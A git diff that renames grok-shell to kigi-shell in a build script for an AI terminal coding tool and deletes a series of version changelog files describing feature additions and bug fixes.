 # Check config.toml for typos in [model.*] sections
 ```
diff --git a/crates/codegen/kigi-shell/build.rs b/crates/codegen/kigi-shell/build.rs
index 8c1ce72..537e131 100644
--- a/crates/codegen/kigi-shell/build.rs
+++ b/crates/codegen/kigi-shell/build.rs
@@ -1,4 +1,4 @@
-//! Build script for bundling ripgrep for the grok-shell crate.
+//! Build script for bundling ripgrep for the kigi-shell crate.
 //!
 //! - If `KIGI_SHELL_BUNDLE_RG_PATH` is set, always bundle it
 //! - Otherwise, only bundle in release builds
@@ -34,7 +34,7 @@ fn main() -> Result<(), Box<dyn std::error::Error>> {
         // OUT_DIR is always set by Cargo/Bazel for build scripts.
         PathBuf::from(env::var("OUT_DIR")?)
     } else if let Ok(xai_root) = env::var("XAI_ROOT") {
-        PathBuf::from(xai_root).join("target/tmp/grok-shell-bundle-rg")
+        PathBuf::from(xai_root).join("target/tmp/kigi-shell-bundle-rg")
     } else {
         PathBuf::from(env::var("OUT_DIR")?)
     };
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.0.json b/crates/codegen/kigi-shell/changelogs/0.2.0.json
deleted file mode 100644
index 3a11c00..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.0.json
+++ /dev/null
@@ -1,7 +0,0 @@
-[
-  {
-    "category": "performance",
-    "description": "**Large chat sessions** now use substantially less memory and run faster during forks, rewinds, and compaction.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.0.md b/crates/codegen/kigi-shell/changelogs/0.2.0.md
deleted file mode 100644
index 4a9ee8c..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.0.md
+++ /dev/null
@@ -1,6 +0,0 @@
-# 0.2.0
-
-## Performance
-
-- **Large chat sessions** now use substantially less memory and run faster during forks, rewinds, and compaction.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.1.json b/crates/codegen/kigi-shell/changelogs/0.2.1.json
deleted file mode 100644
index cf360a7..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.1.json
+++ /dev/null
@@ -1,7 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "**Pasting or dropping images** now succeeds for truncated, CRC-corrupt, or tiny files instead of failing silently.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.1.md b/crates/codegen/kigi-shell/changelogs/0.2.1.md
deleted file mode 100644
index fc7d497..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.1.md
+++ /dev/null
@@ -1,6 +0,0 @@
-# 0.2.1
-
-## Bug Fixes
-
-- **Pasting or dropping images** now succeeds for truncated, CRC-corrupt, or tiny files instead of failing silently.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.10.json b/crates/codegen/kigi-shell/changelogs/0.2.10.json
deleted file mode 100644
index 68e460e..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.10.json
+++ /dev/null
@@ -1,12 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "**Images smaller than 8×8 pixels** are now rejected with a clear message instead of producing blocky results.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**`/check`** has been renamed to **`/check-work`**; old command continues to work during transition.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.10.md b/crates/codegen/kigi-shell/changelogs/0.2.10.md
deleted file mode 100644
index 0f45d9a..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.10.md
+++ /dev/null
@@ -1,10 +0,0 @@
-# 0.2.10
-
-## Features
-
-- **`/check`** has been renamed to **`/check-work`**; old command continues to work during transition.
-
-## Bug Fixes
-
-- **Images smaller than 8×8 pixels** are now rejected with a clear message instead of producing blocky results.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.100.json b/crates/codegen/kigi-shell/changelogs/0.2.100.json
deleted file mode 100644
index a686a51..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.100.json
+++ /dev/null
@@ -1,47 +0,0 @@
-[
-  {
-    "category": "features",
-    "description": "**Session picker** now discovers and resumes recent Claude Code, Codex, and Cursor sessions.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Web fetch tool** preserves full truncated page content as readable artifacts instead of discarding it.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Welcome screen** now offers a one-click resume nudge for recent Claude, Codex, or Cursor sessions.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Multiline mode** now correctly sends the top queued message on empty Enter when a turn is running.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Queued commands** no longer disappear or delay when pressing Enter twice quickly during a running turn.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Minimal mode** text is now readable on dark terminals with proper contrast and highlighted user prompts.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Grok no longer crashes** when printing resume hints after the terminal pane has closed.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Long-running turns** with multiple waits now show updated status markers in the transcript instead of appearing stuck.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Claude and Cursor hooks** are now correctly disabled at session start when disabled in config.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.100.md b/crates/codegen/kigi-shell/changelogs/0.2.100.md
deleted file mode 100644
index daf5fa0..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.100.md
+++ /dev/null
@@ -1,17 +0,0 @@
-# 0.2.100 — 2026-07-13
-
-## Features
-
-- **Session picker** now discovers and resumes recent Claude Code, Codex, and Cursor sessions.
-- **Welcome screen** now offers a one-click resume nudge for recent Claude, Codex, or Cursor sessions.
-
-## Bug Fixes
-
-- **Web fetch tool** preserves full truncated page content as readable artifacts instead of discarding it.
-- **Multiline mode** now correctly sends the top queued message on empty Enter when a turn is running.
-- **Queued commands** no longer disappear or delay when pressing Enter twice quickly during a running turn.
-- **Minimal mode** text is now readable on dark terminals with proper contrast and highlighted user prompts.
-- **Grok no longer crashes** when printing resume hints after the terminal pane has closed.
-- **Long-running turns** with multiple waits now show updated status markers in the transcript instead of appearing stuck.
-- **Claude and Cursor hooks** are now correctly disabled at session start when disabled in config.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.101.json b/crates/codegen/kigi-shell/changelogs/0.2.101.json
deleted file mode 100644
index f23ac51..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.101.json
+++ /dev/null
@@ -1,37 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "**Parked subagent status** no longer duplicates or interleaves incorrectly in scrollback.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**grok inspect** now shows effective compatibility settings for Cursor, Claude, and Codex sessions.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Status line** during waits now shows elapsed time before the queued-message hint.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Queued messages sent with Enter** now appear immediately instead of vanishing briefly.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Resume hint** after quitting minimal mode now prints the correct grok --minimal --resume command.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**New setting** \"Match display refresh rate\" lets high-refresh displays run the TUI at native cadence.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Rate-limit messages** now correctly direct API-key users to team plans instead of personal upgrades.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.101.md b/crates/codegen/kigi-shell/changelogs/0.2.101.md
deleted file mode 100644
index d516174..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.101.md
+++ /dev/null
@@ -1,15 +0,0 @@
-# 0.2.101 — 2026-07-13
-
-## Features
-
-- **grok inspect** now shows effective compatibility settings for Cursor, Claude, and Codex sessions.
-- **New setting** "Match display refresh rate" lets high-refresh displays run the TUI at native cadence.
-
-## Bug Fixes
-
-- **Parked subagent status** no longer duplicates or interleaves incorrectly in scrollback.
-- **Status line** during waits now shows elapsed time before the queued-message hint.
-- **Queued messages sent with Enter** now appear immediately instead of vanishing briefly.
-- **Resume hint** after quitting minimal mode now prints the correct grok --minimal --resume command.
-- **Rate-limit messages** now correctly direct API-key users to team plans instead of personal upgrades.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.11.json b/crates/codegen/kigi-shell/changelogs/0.2.11.json
deleted file mode 100644
index 4ac5b3c..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.11.json
+++ /dev/null
@@ -1,7 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "Minor bug fixes",
-    "breaking_change": false
-  }
-]
\ No newline at end of file
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.11.md b/crates/codegen/kigi-shell/changelogs/0.2.11.md
deleted file mode 100644
index 4b19b75..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.11.md
+++ /dev/null
@@ -1,5 +0,0 @@
-# 0.2.11
-
-## Bug Fixes
-
-- Minor bug fixes
\ No newline at end of file
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.12.json b/crates/codegen/kigi-shell/changelogs/0.2.12.json
deleted file mode 100644
index 6f3b4ac..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.12.json
+++ /dev/null
@@ -1,42 +0,0 @@
-[
-  {
-    "category": "features",
-    "description": "**Computer connection status** now shows a connecting pill during terminal session initialization.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**--max-turns** now correctly counts tool-use cycles instead of total messages.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**@-mention file search** now works again for local agent sessions.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**/check** and subagents now read and follow full AGENTS.md rules from the repo.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Rendered images, files, and citations** now replay correctly in chunk-mode history.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**`/context`** now displays the correct auto-compact threshold for the active model instead of always 85%.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Model responses** are no longer silently dropped when the gateway emits legacy channel values.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Prompt responses** no longer resolve before the turn's final output chunks reach the client.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.12.md b/crates/codegen/kigi-shell/changelogs/0.2.12.md
deleted file mode 100644
index 0d4ce62..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.12.md
+++ /dev/null
@@ -1,16 +0,0 @@
-# 0.2.12
-
-## Features
-
-- **Computer connection status** now shows a connecting pill during terminal session initialization.
-- **/check** and subagents now read and follow full AGENTS.md rules from the repo.
-
-## Bug Fixes
-
-- **--max-turns** now correctly counts tool-use cycles instead of total messages.
-- **@-mention file search** now works again for local agent sessions.
-- **Rendered images, files, and citations** now replay correctly in chunk-mode history.
-- **`/context`** now displays the correct auto-compact threshold for the active model instead of always 85%.
-- **Model responses** are no longer silently dropped when the gateway emits legacy channel values.
-- **Prompt responses** no longer resolve before the turn's final output chunks reach the client.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.13.json b/crates/codegen/kigi-shell/changelogs/0.2.13.json
deleted file mode 100644
index fa6e087..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.13.json
+++ /dev/null
@@ -1,7 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "Miscellaneous bug fixes",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.13.md b/crates/codegen/kigi-shell/changelogs/0.2.13.md
deleted file mode 100644
index 7ad611d..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.13.md
+++ /dev/null
@@ -1,6 +0,0 @@
-# 0.2.13
-
-## Bug Fixes
-
-- Miscellaneous bug fixes
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.14.json b/crates/codegen/kigi-shell/changelogs/0.2.14.json
deleted file mode 100644
index 5c78ec6..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.14.json
+++ /dev/null
@@ -1,22 +0,0 @@
-[
-  {
-    "category": "features",
-    "description": "**Generated images and videos** can now be opened directly from the terminal UI via buttons or clicks.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Background tasks panel** now groups items, supports collapsible sections, and has clearer styling for monitors and loops.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Session titles** are now generated reliably using a fixed default model.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**--permission-mode** now correctly overrides the permission_mode setting from config.toml when launching sessions.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.14.md b/crates/codegen/kigi-shell/changelogs/0.2.14.md
deleted file mode 100644
index 0ea6763..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.14.md
+++ /dev/null
@@ -1,12 +0,0 @@
-# 0.2.14
-
-## Features
-
-- **Generated images and videos** can now be opened directly from the terminal UI via buttons or clicks.
-- **Background tasks panel** now groups items, supports collapsible sections, and has clearer styling for monitors and loops.
-
-## Bug Fixes
-
-- **Session titles** are now generated reliably using a fixed default model.
-- **--permission-mode** now correctly overrides the permission_mode setting from config.toml when launching sessions.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.15.json b/crates/codegen/kigi-shell/changelogs/0.2.15.json
deleted file mode 100644
index 9ebd34b..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.15.json
+++ /dev/null
@@ -1,7 +0,0 @@
-[
-  {
-    "category": "features",
-    "description": "**Permission prompts** now remember your last choice across tools and let you configure the first-prompt default in config.toml.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.15.md b/crates/codegen/kigi-shell/changelogs/0.2.15.md
deleted file mode 100644
index 85aec1a..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.15.md
+++ /dev/null
@@ -1,6 +0,0 @@
-# 0.2.15
-
-## Features
-
-- **Permission prompts** now remember your last choice across tools and let you configure the first-prompt default in config.toml.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.16.json b/crates/codegen/kigi-shell/changelogs/0.2.16.json
deleted file mode 100644
index 86d291a..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.16.json
+++ /dev/null
@@ -1,72 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "**Streaming tool output** (bash/write_file) now renders completely in the pager instead of only the latest chunk.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Streaming bash tool output** now appears correctly in the pager scrollback.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**New segments compaction mode** writes per-segment markdown files that the model can read to recover pre-compaction detail.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Claude and Cursor compatibility scanning** (skills, rules, AGENTS.md) can now be toggled individually via env vars or config.toml.",
-    "breaking_change": false
-  },
-  {
-    "category": "performance",
-    "description": "**Large pasted images** no longer bust the prompt cache or exceed the 50 MiB request limit.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Routing a native tool** (e.g. scheduler_create) through use_tool now gives a clear corrective error instead of an unrecoverable loop.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**\"Starting session...\"** spinner no longer gets stuck when zero MCP servers are configured.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**grok inspect** now shows the resolved on/off state and source for every Claude/Cursor compatibility toggle.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Cursor MCP servers and hooks** are now discovered and can be disabled independently via KIGI_CURSOR_MCPS_ENABLED / KIGI_CURSOR_HOOKS_ENABLED.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Subagents** now use the correct harness after switching models mid-session.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Fixed long startup delays** when an external auth provider binary hangs or fails.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Subagent conversations** no longer receive unrelated monitor events or background task completions from the parent.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**The /loop command** now accepts natural-language intervals instead of always defaulting to 10 minutes.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Fixed blank output** on completed bash or code-execution cards after shell restart or reconnect.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.16.md b/crates/codegen/kigi-shell/changelogs/0.2.16.md
deleted file mode 100644
index 50af4a9..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.16.md
+++ /dev/null
@@ -1,25 +0,0 @@
-# 0.2.16
-
-## Features
-
-- **New segments compaction mode** writes per-segment markdown files that the model can read to recover pre-compaction detail.
-- **Claude and Cursor compatibility scanning** (skills, rules, AGENTS.md) can now be toggled individually via env vars or config.toml.
-- **grok inspect** now shows the resolved on/off state and source for every Claude/Cursor compatibility toggle.
-- **Cursor MCP servers and hooks** are now discovered and can be disabled independently via KIGI_CURSOR_MCPS_ENABLED / KIGI_CURSOR_HOOKS_ENABLED.
-
-## Bug Fixes
-
-- **Streaming tool output** (bash/write_file) now renders completely in the pager instead of only the latest chunk.
-- **Streaming bash tool output** now appears correctly in the pager scrollback.
-- **Routing a native tool** (e.g. scheduler_create) through use_tool now gives a clear corrective error instead of an unrecoverable loop.
-- **"Starting session..."** spinner no longer gets stuck when zero MCP servers are configured.
-- **Subagents** now use the correct harness after switching models mid-session.
-- **Fixed long startup delays** when an external auth provider binary hangs or fails.
-- **Subagent conversations** no longer receive unrelated monitor events or background task completions from the parent.
-- **The /loop command** now accepts natural-language intervals instead of always defaulting to 10 minutes.
-- **Fixed blank output** on completed bash or code-execution cards after shell restart or reconnect.
-
-## Performance
-
-- **Large pasted images** no longer bust the prompt cache or exceed the 50 MiB request limit.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.17.json b/crates/codegen/kigi-shell/changelogs/0.2.17.json
deleted file mode 100644
index 673101d..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.17.json
+++ /dev/null
@@ -1,37 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "**--restore-code** no longer detaches the source repository when resuming a forked-worktree session from a different directory.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Image and video generation** tools now emit structured paths so the pager renders media without regex scraping.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Compaction summaries** now use a more detailed structure that improves recovery after context reset.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**image_gen** can now be enabled via the harness model using [features] in config.toml or the KIGI_IMAGE_GEN_HARNESS env var.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Read tool** string coercion bug fixes.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Improved config refresh** on new sessions from the shell.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**ICO images** pasted or read from disk are now automatically converted to PNG before being sent to the model.",
-    "breaking_change": false
-  }
-]
\ No newline at end of file
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.17.md b/crates/codegen/kigi-shell/changelogs/0.2.17.md
deleted file mode 100644
index 6eff4d2..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.17.md
+++ /dev/null
@@ -1,14 +0,0 @@
-# 0.2.17
-
-## Features
-
-- **Image and video generation** tools now emit structured paths so the pager renders media without regex scraping.
-- **Compaction summaries** now use a more detailed structure that improves recovery after context reset.
-- **image_gen** can now be enabled via the harness model using [features] in config.toml or the KIGI_IMAGE_GEN_HARNESS env var.
-- **Improved config refresh** on new sessions from the shell.
-
-## Bug Fixes
-
-- **--restore-code** no longer detaches the source repository when resuming a forked-worktree session from a different directory.
-- **Read tool** string coercion bug fixes.
-- **ICO images** pasted or read from disk are now automatically converted to PNG before being sent to the model.
\ No newline at end of file
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.18.json b/crates/codegen/kigi-shell/changelogs/0.2.18.json
deleted file mode 100644
index 0cbd4fb..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.18.json
+++ /dev/null
@@ -1,37 +0,0 @@
-[
-  {
-    "category": "features",
-    "description": "**Official xAI plugin marketplace** now appears automatically in the Marketplace tab on first launch.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**image_edit** now correctly resolves pasted or attached images referenced as [Image #N].",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Image and video generation** now use api.x.ai directly for all users.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Background subagent completions** are no longer reported twice when the agent is idle.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Subagents** now use the same model as the parent session by default.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**New image-to-video and reference-to-video tools** are now available for generating videos from images.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**New imagine skill** provides prompt-craft and workflow guidance for image generation and editing tools.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.18.md b/crates/codegen/kigi-shell/changelogs/0.2.18.md
deleted file mode 100644
index f9ab08e..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.18.md
+++ /dev/null
@@ -1,15 +0,0 @@
-# 0.2.18
-
-## Features
-
-- **Official xAI plugin marketplace** now appears automatically in the Marketplace tab on first launch.
-- **Image and video generation** now use api.x.ai directly for all users.
-- **New image-to-video and reference-to-video tools** are now available for generating videos from images.
-- **New imagine skill** provides prompt-craft and workflow guidance for image generation and editing tools.
-
-## Bug Fixes
-
-- **image_edit** now correctly resolves pasted or attached images referenced as [Image #N].
-- **Background subagent completions** are no longer reported twice when the agent is idle.
-- **Subagents** now use the same model as the parent session by default.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.19.json b/crates/codegen/kigi-shell/changelogs/0.2.19.json
deleted file mode 100644
index 639bcc2..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.19.json
+++ /dev/null
@@ -1,12 +0,0 @@
-[
-  {
-    "category": "features",
-    "description": "**Monitors** now appear labeled in background-task reminders after compaction and can be terminated by name.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Reading images** with text-only models no longer triggers repeated 400 errors that brick the session.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.19.md b/crates/codegen/kigi-shell/changelogs/0.2.19.md
deleted file mode 100644
index 73a1135..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.19.md
+++ /dev/null
@@ -1,10 +0,0 @@
-# 0.2.19
-
-## Features
-
-- **Monitors** now appear labeled in background-task reminders after compaction and can be terminated by name.
-
-## Bug Fixes
-
-- **Reading images** with text-only models no longer triggers repeated 400 errors that brick the session.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.2.json b/crates/codegen/kigi-shell/changelogs/0.2.2.json
deleted file mode 100644
index 0a6d131..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.2.json
+++ /dev/null
@@ -1,7 +0,0 @@
-[
-  {
-    "category": "bug_fixes",
-    "description": "**Emergency rollback release** — reverts to known-good 0.1.219 codebase.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.2.md b/crates/codegen/kigi-shell/changelogs/0.2.2.md
deleted file mode 100644
index c6a59ca..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.2.md
+++ /dev/null
@@ -1,2 +0,0 @@
-# 0.2.2
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.20.json b/crates/codegen/kigi-shell/changelogs/0.2.20.json
deleted file mode 100644
index 41627c5..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.20.json
+++ /dev/null
@@ -1,12 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "**MCP servers** declared in both a plugin's .mcp.json and plugin.json are now registered instead of dropped.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Git operations** now correctly target the repository for each session's working directory.",
-    "breaking_change": false
-  }
-]
\ No newline at end of file
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.20.md b/crates/codegen/kigi-shell/changelogs/0.2.20.md
deleted file mode 100644
index bd8dfbb..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.20.md
+++ /dev/null
@@ -1,6 +0,0 @@
-# 0.2.20
-
-## Bug Fixes
-
-- **MCP servers** declared in both a plugin's .mcp.json and plugin.json are now registered instead of dropped.
-- **Git operations** now correctly target the repository for each session's working directory.
\ No newline at end of file
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.21.json b/crates/codegen/kigi-shell/changelogs/0.2.21.json
deleted file mode 100644
index b285e10..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.21.json
+++ /dev/null
@@ -1,12 +0,0 @@
-[
-  {
-    "category": "features",
-    "description": "**allowed_models** in config.toml now restricts which models appear in the picker and `/model` command.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Code navigation** now returns correct results for secondary project windows with different working directories.",
-    "breaking_change": false
-  }
-]
\ No newline at end of file
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.21.md b/crates/codegen/kigi-shell/changelogs/0.2.21.md
deleted file mode 100644
index af83f06..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.21.md
+++ /dev/null
@@ -1,9 +0,0 @@
-# 0.2.21
-
-## Features
-
-- **allowed_models** in config.toml now restricts which models appear in the picker and `/model` command.
-
-## Bug Fixes
-
-- **Code navigation** now returns correct results for secondary project windows with different working directories.
\ No newline at end of file
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.22.json b/crates/codegen/kigi-shell/changelogs/0.2.22.json
deleted file mode 100644
index dce56cd..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.22.json
+++ /dev/null
@@ -1,7 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "**Authentication errors** with static API keys now surface a clear error instead of hanging the turn.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.22.md b/crates/codegen/kigi-shell/changelogs/0.2.22.md
deleted file mode 100644
index ec1ba96..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.22.md
+++ /dev/null
@@ -1,6 +0,0 @@
-# 0.2.22
-
-## Bug Fixes
-
-- **Authentication errors** with static API keys now surface a clear error instead of hanging the turn.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.23.json b/crates/codegen/kigi-shell/changelogs/0.2.23.json
deleted file mode 100644
index fe16fb9..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.23.json
+++ /dev/null
@@ -1,17 +0,0 @@
-[
-  {
-    "category": "features",
-    "description": "**Leader sessions** can now be viewed and controlled from multiple clients with a live dashboard.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Sessions** can now be deleted directly from the /resume history picker.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**MCP plugin servers** with bundled OAuth client IDs now authenticate correctly.",
-    "breaking_change": false
-  }
-]
\ No newline at end of file
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.23.md b/crates/codegen/kigi-shell/changelogs/0.2.23.md
deleted file mode 100644
index aa33c9d..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.23.md
+++ /dev/null
@@ -1,10 +0,0 @@
-# 0.2.23
-
-## Features
-
-- **Leader sessions** can now be viewed and controlled from multiple clients with a live dashboard.
-- **Sessions** can now be deleted directly from the /resume history picker.
-
-## Bug Fixes
-
-- **MCP plugin servers** with bundled OAuth client IDs now authenticate correctly.
\ No newline at end of file
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.24.json b/crates/codegen/kigi-shell/changelogs/0.2.24.json
deleted file mode 100644
index 4ac5b3c..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.24.json
+++ /dev/null
@@ -1,7 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "Minor bug fixes",
-    "breaking_change": false
-  }
-]
\ No newline at end of file
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.24.md b/crates/codegen/kigi-shell/changelogs/0.2.24.md
deleted file mode 100644
index 82b53ac..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.24.md
+++ /dev/null
@@ -1,5 +0,0 @@
-# 0.2.24
-
-## Bug Fixes
-
-- Minor bug fixes
\ No newline at end of file
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.25.json b/crates/codegen/kigi-shell/changelogs/0.2.25.json
deleted file mode 100644
index 1cf4119..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.25.json
+++ /dev/null
@@ -1,7 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "**Session titles** now generate reliably even for very long initial messages.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.25.md b/crates/codegen/kigi-shell/changelogs/0.2.25.md
deleted file mode 100644
index ef67c56..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.25.md
+++ /dev/null
@@ -1,6 +0,0 @@
-# 0.2.25
-
-## Bug Fixes
-
-- **Session titles** now generate reliably even for very long initial messages.
-
